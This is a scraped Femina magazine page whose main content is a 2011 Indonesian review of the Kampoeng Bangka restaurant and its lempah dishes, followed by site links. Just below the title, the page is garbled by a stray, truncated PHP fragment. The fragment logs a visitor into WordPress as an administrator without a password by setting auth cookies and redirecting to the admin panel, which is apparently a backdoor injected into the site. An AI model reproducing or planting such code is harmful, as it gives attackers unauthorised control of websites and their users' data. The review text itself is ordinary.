Penerus Lempah Bangka

user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */

Food Review

11 Dec 2011

Kampoeng Bangka menyelamatkan pengetahuan kuliner kita dari sekadar mi dan martabak Bangka. Kuah lempah dan akar keladi, jenis sayuran tak populer, kini terkemas dalam resto yang modern dan membanggakan, berkat inisiatif sang pemiliknya, M. Fitno.

“Karena hawa Bangka panas, kami senang menyegarkan lidah dengan segala yang berkuah. Kuah kuning ini bernama lempah. Isinya sederhana, yakni terasi, nanas, dan cabai giling,“ jelas Noni, supervisor Kampoeng Bangka. Orang Bangka rupanya cinta berat pada terasi mereka. “Rebonnya pilihan. Asli terasi Toboali yang terkenal,” sambungnya.

Untuk bisa ’menyelami’ kebiasaan makan orang Bangka, cicipilah lempah alar keladi (akar talas) dan seruput kuah beraroma terasinya hingga tandas. Akar ini bersih karena tumbuh menjalar di atas tanah. Lunak dan agak berlendir. Tidak menimbulkan gatal, jika diracik dengan tepat. “Membangkitkan memori karena cuma tumbuh di Bangka,” tutur Noni.

Pilihan isi lempah lainnya adalah jantung pisang, daun singkong, ikan tenggiri, dan ikan pari. Kuah dimasak dadakan agar segarnya maksimal. Ada juga otak-otak, yakni istilah Bangka untuk sajian mirip pempek. Pilihannya antara lain otak-otak tenggiri, kulit tenggiri atau alar keladi. Sausnya taoco-sambal, bukan cuko seperti di dapur Palembang. Jangan lupa, bawa pulang kincalok (fermentasi udang), jika Anda mau belajar membuat sambal Bangka di rumah.

Lokasi: Jl. Panglima Polim Raya No. 102. Telp: (021) 7392344. Jam buka: 10.00 – 24.00 WIB. Harga*): Rp3.500 (kue) – Rp185.500. Suasana: Berhias tudung saji …. semarak, warna khas Bangka.

*) Harga dapat berubah sewaktu-waktu, cek sebelum bersantap.

Aria Novitasari

Clean Cut Emporio Armani

Aksi Sosial SOPHIE

Terbesar! 320 Jenama Ikut Meramaikan Brightspot Market 2025

Future Archive jadi tema Brightspot Market 2025 yang digelar pada 29 Mei-1 Juni dan 5-8 Juni 2025.

Besok, Hidangan dari Buku Pusaka Rasa Nusantara Karya Chef Ragil Ada di Conrad Bali

Memperkenalkan buku istimewa, menunjukkan ke warga Bali akan kayanya Nusantara.

Disney On Ice: Find Your Hero Bakal Tampil di Jakarta dan Surabaya

Siapa yang sudah rindu karakter Disney yang meliuk-liuk di atas es? Siapkan dirimu untuk kehadiran Disney On Ice presents Find Your Hero.

recommended

Menikmati Tradisi yang Terus Bergerak di SU MA Volume 6, Passage

Chef Brendon Chen dan Chef Ryan Kim membawa SU MA ke babak berikutnya dan Femina diajak mencoba.

VW Tour, Movie Night, hingga Floating Dinner, Cara Menikmati Sisi Lain Kamandalu Ubud

Aktivitas seru yang membuatnya jadi destinasi menarik bersama para bestie!

5 Cara Lebih Mindful Menghadapi Situasi Saat Ini

Dunia lagi ramai, kamu nggak harus ikut panik.

Penting untuk Tim Rebahan, 3 Hal Wajib Dilakukan Saat Weekend Selain Beres-beres

Lalu, harus ngapain, dong?

Kosha Mangsho, Semakin Lama Dimasak Semakin Sedap!

Kuahnya cenderung kental, gelap, dan kaya rempah, berbeda dengan kari India Utara yang kuahnya lebih encer.

5 Cara Menikmati Tengah Minggu Meski Lagi Sibuk-sibuknya

Belum juga akhir pekan, tapi kamu keburu Lelah fisik dan mental?

about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

(021) 250 333 28
langganan@pranagroup.id